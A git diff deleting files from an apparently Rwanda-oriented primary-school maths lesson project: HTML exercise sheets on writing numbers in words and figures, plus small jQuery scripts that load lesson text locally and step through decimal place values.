-</ol>
-<p>
- 2) Fill in the blank with corresponding numbers in figures.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Eleven thousand six hundred and two=_______________________
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  Fifty-seven thousand and twelve=____________________________
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  Ninety-two thousand twelve hundred and fourteen=___________________
- </li>
-</ul>
-<p>
- 3) Read and write in words following numbers :
- <br />
- <br />
- <br />
-</p>
-<ol>
- <li>
-  11
- </li>
- <li>
-  12
- </li>
- <li>
-  13
- </li>
- <li>
-  14
- </li>
- <li>
-  15
- </li>
- <li>
-  16
- </li>
- <li>
-  17
- </li>
- <li>
-  18
- </li>
- <li>
-  19
- </li>
- <li>
-  20
- </li>
- <li>
-  367
- </li>
- <li>
-  573
- </li>
- <li>
-  8236
- </li>
- <li>
-  7864
- </li>
- <li>
-  8637
- </li>
- <li>
-  1927
- </li>
- <li>
-  9090
- </li>
- <li>
-  2020
- </li>
- <li>
-  1324
- </li>
- <li>
-  7767
- </li>
-</ol>
-<p>
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m02/map411m02a05/description.py b/Save_Mathematics/P4/map411m02/map411m02a05/description.py
deleted file mode 100644
index e5500cf..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m02a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m02/map411m02a05/lesson.js b/Save_Mathematics/P4/map411m02/map411m02a05/lesson.js
deleted file mode 100644
index 265bc10..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m02/map411m02a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m02/map411m02a05/source.txt b/Save_Mathematics/P4/map411m02/map411m02a05/source.txt
deleted file mode 100644
index 12c7f9e..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a05/source.txt
+++ /dev/null
@@ -1,149 +0,0 @@
-<p>
- 1) Write following numbers in words:
-</p>
-<ol>
- <li>
-  25
- </li>
- <li>
-  73
- </li>
- <li>
-  94
- </li>
- <li>
-  42
- </li>
- <li>
-  263
- </li>
- <li>
-  537
- </li>
- <li>
-  836
- </li>
- <li>
-  5463
- </li>
- <li>
-  8394
- </li>
- <li>
-  6453
- </li>
- <li>
-  73847
- </li>
- <li>
-  83746
- </li>
- <li>
-  19273
- </li>
- <li>
-  29384
- </li>
- <li>
-  999837
- </li>
-</ol>
-<p>
- 2) Fill in the blank with corresponding numbers in figures.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Eleven thousand six hundred and two=_______________________
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  Fifty-seven thousand and twelve=____________________________
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  Ninety-two thousand twelve hundred and fourteen=___________________
- </li>
-</ul>
-<p>
- 3) Read and write in words following numbers :
- <br />
- <br />
- <br />
-</p>
-<ol>
- <li>
-  11
- </li>
- <li>
-  12
- </li>
- <li>
-  13
- </li>
- <li>
-  14
- </li>
- <li>
-  15
- </li>
- <li>
-  16
- </li>
- <li>
-  17
- </li>
- <li>
-  18
- </li>
- <li>
-  19
- </li>
- <li>
-  20
- </li>
- <li>
-  367
- </li>
- <li>
-  573
- </li>
- <li>
-  8236
- </li>
- <li>
-  7864
- </li>
- <li>
-  8637
- </li>
- <li>
-  1927
- </li>
- <li>
-  9090
- </li>
- <li>
-  2020
- </li>
- <li>
-  1324
- </li>
- <li>
-  7767
- </li>
-</ol>
-<p>
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m02/map411m02a06/a.txt b/Save_Mathematics/P4/map411m02/map411m02a06/a.txt
deleted file mode 100644
index 82b2bef..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a06/a.txt
+++ /dev/null
@@ -1,264 +0,0 @@
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-  1) Write following numbers in figures or words:
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-    3495
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-  <h1>
-   <span style="font-size: 12pt;">
-    8374
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- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    24676
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- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    63868
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    82736
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- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    09390
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- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    23938
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-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    One thousand three hundred and one.
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-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    Sixty thousand nine hundred and eighty.
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-  </h1>
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- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
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-    Fifty thousand four hundred thirty six.
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- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    Sixty thousand six hundred thirty-seven.
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-<h1 class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  2) Drug and drop words and make following numbers in words:
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- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    763
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- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    645
-   </span>
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-  <h1>
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-  <h1>
-   <span style="font-size: 12pt;">
-    93847
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-  <h1>
-   <span style="font-size: 12pt;">
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-  <h1>
-   <span style="font-size: 12pt;">
-    38479
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-<h1 class="MsoNormal" style="line-height: normal;">
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- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  Write that number in words
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  4) A woman wants fifty seven thousand six hundred and forty-five francs for christ mass shopping.
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  Write that number in figures
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  5) The numbers below shows how many people were living in some cities in Rwanda in 2005.
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  Write each number in word.
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  Umutara: 8350
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  Kibungo:64893
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-<h1 class="MsoNormal" style="line-height: normal;">
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-  Cyangugu:75 085
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-<h1>
- <br />
- <br />
-</h1>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m02/map411m02a06/description.py b/Save_Mathematics/P4/map411m02/map411m02a06/description.py
deleted file mode 100644
index 2724d70..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m02a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m02/map411m02a06/lesson.js b/Save_Mathematics/P4/map411m02/map411m02a06/lesson.js
deleted file mode 100644
index b10b8e4..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m02/map411m02a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m02/map411m02a06/source.txt b/Save_Mathematics/P4/map411m02/map411m02a06/source.txt
deleted file mode 100644
index 82b2bef..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a06/source.txt
+++ /dev/null
@@ -1,264 +0,0 @@
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-<!--[if gte mso 10]>&#010;<mce:style><!&#010; /* Style Definitions */&#010; table.MsoNormalTable&#010;	{mso-style-name:"Table Normal";&#010;	mso-tstyle-rowband-size:0;&#010;	mso-tstyle-colband-size:0;&#010;	mso-style-noshow:yes;&#010;	mso-style-priority:99;&#010;	mso-style-qformat:yes;&#010;	mso-style-parent:"";&#010;	mso-padding-alt:0in 5.4pt 0in 5.4pt;&#010;	mso-para-margin-top:0in;&#010;	mso-para-margin-right:0in;&#010;	mso-para-margin-bottom:10.0pt;&#010;	mso-para-margin-left:0in;&#010;	line-height:115%;&#010;	mso-pagination:widow-orphan;&#010;	font-size:11.0pt;&#010;	font-family:"Calibri","sans-serif";&#010;	mso-ascii-font-family:Calibri;&#010;	mso-ascii-theme-font:minor-latin;&#010;	mso-hansi-font-family:Calibri;&#010;	mso-hansi-theme-font:minor-latin;&#010;	mso-bidi-font-family:"Times New Roman";&#010;	mso-bidi-theme-font:minor-bidi;&#010;	mso-ansi-language:RW-RW;}&#010; -->
-<!--[endif]-->
-<h1 class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  1) Write following numbers in figures or words:
- </span>
-</h1>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    3495
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    8374
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    24676
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    63868
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    82736
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    09390
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    23938
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    One thousand three hundred and one.
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    Sixty thousand nine hundred and eighty.
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    Fifty thousand four hundred thirty six.
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    Sixty thousand six hundred thirty-seven.
-   </span>
-  </h1>
- </li>
-</ul>
-<h1 class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  2) Drug and drop words and make following numbers in words:
- </span>
-</h1>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    763
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    645
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    837
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    777
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    123
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    3564
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    8373
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    9576
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    1537
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    64772
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    93847
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    82763
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    27384
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    93847
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    12837
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    38479
-   </span>
-  </h1>
- </li>
-</ul>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  3) David has born in 1985 in WESTERN province
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  Write that number in words
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  4) A woman wants fifty seven thousand six hundred and forty-five francs for christ mass shopping.
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  Write that number in figures
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  5) The numbers below shows how many people were living in some cities in Rwanda in 2005.
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  Write each number in word.
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  Umutara: 8350
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  Kibungo:64893
- </span>
-</h1>
-<h1 class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  Cyangugu:75 085
- </span>
-</h1>
-<h1>
- <br />
- <br />
-</h1>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m02/map411m02a07/a.txt b/Save_Mathematics/P4/map411m02/map411m02a07/a.txt
deleted file mode 100755
index d3df247..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a07/a.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-<h3>Reading and Writing Numbers</h3>
-<p>
-In this activity we will see how to read a number written in English words and write it in numerals. We will also learn to 
-write a number using English words.
-</p>
-<p>
-If you are ready, press start to see some examples. Each example has several steps, 
-to see the next step click on the screen. If you click and nothing happens, press 
-start again for the next example.
-</p>
diff --git a/Save_Mathematics/P4/map411m02/map411m02a07/css/divs.css b/Save_Mathematics/P4/map411m02/map411m02a07/css/divs.css
deleted file mode 100755
index cefafb4..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a07/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:13.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map411m02/map411m02a07/js/lesson-karma.js b/Save_Mathematics/P4/map411m02/map411m02a07/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a07/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map411m02/map411m02a07/js/lesson.js b/Save_Mathematics/P4/map411m02/map411m02a07/js/lesson.js
deleted file mode 100755
index 932517e..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a07/js/lesson.js
+++ /dev/null
@@ -1,188 +0,0 @@
-//present question - decimal number to words, words to decimal number
-//if wrong, display place table: thousands, units, thousandths
-
-caseno = 0;
-xxcases = [7,13,47,234,13.2,0.1,.01,.001,12.001,999.999];
-cases = [13.2,0.1,.01,.001,12.001,999.999];
-
-function phase1(){
-  if(typeFlag){ //words -> number
-    //show hundreds digit, if any
-    drawComment(1,10*columnWidth+2,'Hundreds');
-    if (wholeDigits.length>2){
-        drawDigits(1,50+4*columnWidth,wholeDigits[0]);
-        txtComment=words + ' is '+wholeDigits[0];
-    }else{
-        txtComment=words + ' is ';
-    };
-    drawComment(0,0,txtComment);
-  }else{
-    //fill place value table from number
-    drawComment(1,10*columnWidth+2,'Expand');
-    txtComment = whole+'.'+decimal+' is ';
-    drawComment(0,0,txtComment);
-    drawDigits(1,50+6*columnWidth,wholeDigits.reverse());
-    pos = dcmlDigits.length;
-    drawDigits(1,50+(6+pos)*columnWidth,dcmlDigits.reverse());
-  };
-  doPhase(1);
-};
-
-function phase2(){
-  drawComment(2,10*columnWidth+2,'Units');
-  if(typeFlag){ //words -> number
-    //show tens and units
-    pos = wholeDigits.length;
-    if(pos>1){
-        drawDigits(1,50+5*columnWidth,wholeDigits[pos-2]);
-        drawDigits(1,50+6*columnWidth,wholeDigits[pos-1]);
-        txtComment = txtComment+wholeDigits[pos-2]+wholeDigits[pos-1];
-    }else if(pos==1){
-        drawDigits(1,50+6*columnWidth,wholeDigits[0]);
-        txtComment = txtComment+wholeDigits[0];
-    };
-    drawComment(0,0,txtComment);
-  }else{
-    //show words for the whole part
-    txt = getWholeWords(words);
-    if(txt.length>0){
-        txtComment = txtComment + getWholeWords(words) + ' and ';
-        drawComment(0,0,txtComment);
-    };
-  };
-  doPhase(2);
-};
-
-function phase3(){
-  drawComment(3,10*columnWidth+2,'Tenths');
-  if(typeFlag){
-      // put digit in tenths column
-      pos = dcmlDigits.length;
-      if(pos>0){
-          drawDigits(1,50+7*columnWidth,dcmlDigits[0]);
-          txtComment = txtComment + '.'+dcmlDigits[0];
-          drawComment(0,0,txtComment);
-      };
-  }else{
-      //numbers --> words
-      pos = dcmlDigits.length;
-      if(pos>0){
-          dgt = parseInt(dcmlDigits[pos-1]);
-      };
-      if(pos>2){
-          if(dgt>0){
-              txtComment = txtComment + word(dcmlDigits[pos-1]) + ' hundred ';
-          };
-      }else if (pos==1){
-          if(dgt>0){
-              txtComment = txtComment + word(dcmlDigits[pos-1]) + ' tenths ';
-          };
-      };
-      drawComment(0,0,txtComment);
-  };
-  doPhase(3);
-};
-
-function phase4(){
-  drawComment(4,10*columnWidth+2,'1000ths');
-  if(typeFlag){
-      pos = dcmlDigits.length;
-      if(pos>2){
-          //show hundreds and thousandths
-          drawDigits(1,50+8*columnWidth,dcmlDigits[1]);
-          drawDigits(1,50+9*columnWidth,dcmlDigits[2]);
-          txtComment = txtComment + dcmlDigits[1]+dcmlDigits[2];
-      }else if (pos>1){    
-          //show hundredths
-          drawDigits(1,50+8*columnWidth,dcmlDigits[1]);
-          txtComment = txtComment + dcmlDigits[1];
-      };
-      drawComment(0,0,txtComment);
-  }else{//number --> words
-      pos = dcmlDigits.length;
-      if(pos>1){
-          indx = digits[1]*10+parseInt(digits[0]);
-          txtComment = txtComment + word(indx);
-      };
-      if(pos>2){
-          txtComment = txtComment + ' thousandths';
-      }else if (pos>1){
-          txtComment = txtComment + ' hundredths';
-      };
-      drawComment(0,0,txtComment);  
-  };
-};
-
-steps = [phase1,phase2,phase3,phase4];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function show_answer(karma) {
-        if(typeFlag){
-            txt = 'The number '+solution+' is described in words as '+ask
-        }else{
-            txt = "We use the words "+solution+" to describe the number "+ask
-        };
-        $('#content')
-           .empty()
-           .html('<p>'+txt+"</p><p>Let's check it out.</p>");
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  if(caseno==cases.length){
-      $('#content')
-          .html('<p>That was the last example!</p><p>Press apply to practice what you have learned</p>');
-      return;
-  };
-  decimalNumber = cases[caseno];
-  caseno +=1;
-  digits = (decimalNumber+"").split("").reverse();
-  words = getWords(digits);
-  whole = parseInt(decimalNumber)+"";
-  wholeDigits = whole.split("");
-  decimalp = (decimalNumber-whole).toFixed(3);
-  decimalstr = decimalp+"";
-  decimal = decimalstr.substring(2);
-  dcmlDigits = decimal.split("");
-  do{
-      n = dcmlDigits.pop();
-    } while (n=='0');
-  dcmlDigits.push(n);
-  decimal = dcmlDigits.join("");
-  if (Math.random()<1){
-      typeFlag = false;
-      question = 'What is '+decimalNumber+' in words?';
-      ask = decimalNumber;
-      solution = words;
-  }else{
-      typeFlag = true;
-      question = 'Write '+words+' as a decimal number.';
-      ask = words;
-      solution = decimalNumber;
-  }; 
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + "</p>")
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-  show_answer(karma);
-};
-
-function initialize() {
-   $('<div id = "txtMain"/>')
-       .load('http://localhost:8008/cgi-bin/getFile.py',
-       {'filename':'content/Mathematics/map411m02/map411m02a07/a.txt'})
-       .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m02/map411m02a07/source.txt b/Save_Mathematics/P4/map411m02/map411m02a07/source.txt
deleted file mode 100755
index f4da776..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a07/source.txt
+++ /dev/null
@@ -1,35 +0,0 @@
-<h1>
- Introduction to Decimals
-</h1>
-<!--NG-->
-<p>
- You remember that a fraction is a part of a whole object. For example, when we  have divided a pizza into six pieces, one piece is 1/6 of a pizza. Suppose we  bought two pizzas and cut each into six pieces. After we ate 5 pieces, we would  have 7 pieces left. This would be equivalent to one pizza and one piece or 1  1/6.
-</p>
-<p>
- Decimal fractions or decimals are a special form of fraction in which the  denominator is a multiple of ten (we have divided something into 10 or 100 or  1000 parts).
-</p>
-<p>
- We can have a combination of a whole number and a decimal fraction such as  12.3. The means 12 of something plus 3/10 more of that something. A number such as  12.3 is called a decimal number
-</p>
-<p>
- <hr />
- Our first task is to learn to read and write decimal numbers. You will find it  is similar to reading and writing whole numbers, but with some special  tricks and traps!
-</p>
-<p>
- First when pronouncing a decimal number, always say 'and' for the decimal  point.
-</p>
-<p>
- Second, the last digit of a decimal number is (almost) never zero (0). For  example, we don't have 1.10 but 1.1. We don't have 1.140, but 1.14.
-</p>
-<p>
- Third, when pronouncing the decimal part of a decimal number, we count the  value of the last digit (non-zero) digit. For example, 1.1 is one and one tenth. We say, 'one and fourteen hundredths' for 1.14 and 'one and two thousandths' for  1.002. The largest number we will encounter in this activity is 999.999. We say,  'nine hundred ninety-nine and nine hundred ninety-nine thousandths'.
-</p>
-<p>
- The  numbers 0.1 and .1 are the same number, 'one tenth', but we could also say, 'zero  and one tenth'.
-</p>
-<p>
- If you are ready, press Start to see some examples.
-</p>
-<p>
- &nbsp;
-</p>
diff --git a/Save_Mathematics/P4/map411m02/map411m02a08/a.txt b/Save_Mathematics/P4/map411m02/map411m02a08/a.txt
deleted file mode 100755
index 9286996..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a08/a.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Reading and Writing Decimals</h1>
-<!--NG-->
-<p>
-In this activity, you will be able to try your skill at writing decimal numbers in 
-English words and in writing the decimal number expressed in words. </p>
-<p>Press start to begin.</p>
diff --git a/Save_Mathematics/P4/map411m02/map411m02a08/css/divs.css b/Save_Mathematics/P4/map411m02/map411m02a08/css/divs.css
deleted file mode 100755
index 72c5d66..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a08/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/19 11:52:08.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m01/map412m01a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m01/map412m01a02/description.py
- */
diff --git a/Save_Mathematics/P4/map411m02/map411m02a08/js/lesson-karma.js b/Save_Mathematics/P4/map411m02/map411m02a08/js/lesson-karma.js
deleted file mode 100755
index 7a430fe..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a08/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/19 11:52:08.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m01/map412m01a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m01/map412m01a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map411m02/map411m02a08/js/lesson.js b/Save_Mathematics/P4/map411m02/map411m02a08/js/lesson.js
deleted file mode 100755
index 2ed6b28..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a08/js/lesson.js
+++ /dev/null
@@ -1,188 +0,0 @@
-//present question - decimal number to words, words to decimal number
-//if wrong, display place table: thousands, units, thousandths
-
-function phase1(){
-  if(typeFlag){ //words -> number
-    //show hundreds digit, if any
-    drawComment(1,10*columnWidth+2,'Hundreds');
-    if (wholeDigits.length>2){
-        drawDigits(1,50+4*columnWidth,wholeDigits[0]);
-        txtComment=words + ' is '+wholeDigits[0];
-    }else{
-        txtComment=words + ' is ';
-    };
-    drawComment(0,0,txtComment);
-  }else{
-    //fill place value table from number
-    drawComment(1,10*columnWidth+2,'Expand');
-    txtComment = whole+'.'+decimal+' is ';
-    drawComment(0,0,txtComment);
-    drawDigits(1,50+6*columnWidth,wholeDigits.reverse());
-    pos = dcmlDigits.length;
-    drawDigits(1,50+(6+pos)*columnWidth,dcmlDigits.reverse());
-  };
-  doPhase(1);
-};
-
-function phase2(){
-  drawComment(2,10*columnWidth+2,'Units');
-  if(typeFlag){ //words -> number
-    //show tens and units
-    pos = wholeDigits.length;
-    if(pos>1){
-        drawDigits(1,50+5*columnWidth,wholeDigits[pos-2]);
-        drawDigits(1,50+6*columnWidth,wholeDigits[pos-1]);
-        txtComment = txtComment+wholeDigits[pos-2]+wholeDigits[pos-1];
-    }else if(pos==1){
-        drawDigits(1,50+6*columnWidth,wholeDigits[0]);
-        txtComment = txtComment+wholeDigits[0];
-    };
-    drawComment(0,0,txtComment);
-  }else{
-    //show words for the whole part
-    txt = getWholeWords(words);
-    if(txt.length>0){
-        txtComment = txtComment + getWholeWords(words) + ' and ';
-        drawComment(0,0,txtComment);
-    };
-  };
-  doPhase(2);
-};
-
-function phase3(){
-  drawComment(3,10*columnWidth+2,'Tenths');
-  if(typeFlag){
-      // put digit in tenths column
-      pos = dcmlDigits.length;
-      if(pos>0){
-          drawDigits(1,50+7*columnWidth,dcmlDigits[0]);
-          txtComment = txtComment + '.'+dcmlDigits[0];
-          drawComment(0,0,txtComment);
-      };
-  }else{
-      //numbers --> words
-      pos = dcmlDigits.length;
-      if(pos>0){
-          dgt = parseInt(dcmlDigits[pos-1]);
-      };
-      if(pos>2){
-          if(dgt>0){
-              txtComment = txtComment + word(dcmlDigits[pos-1]) + ' hundred ';
-          };
-      }else if (pos==1){
-          if(dgt>0){
-              txtComment = txtComment + word(dcmlDigits[pos-1]) + ' tenths ';
-          };
-      };
-      drawComment(0,0,txtComment);
-  };
-  doPhase(3);
-};
-
-function phase4(){
-  drawComment(4,10*columnWidth+2,'1000ths');
-  if(typeFlag){
-      pos = dcmlDigits.length;
-      if(pos>2){
-          //show hundreds and thousandths
-          drawDigits(1,50+8*columnWidth,dcmlDigits[1]);
-          drawDigits(1,50+9*columnWidth,dcmlDigits[2]);
-          txtComment = txtComment + dcmlDigits[1]+dcmlDigits[2];
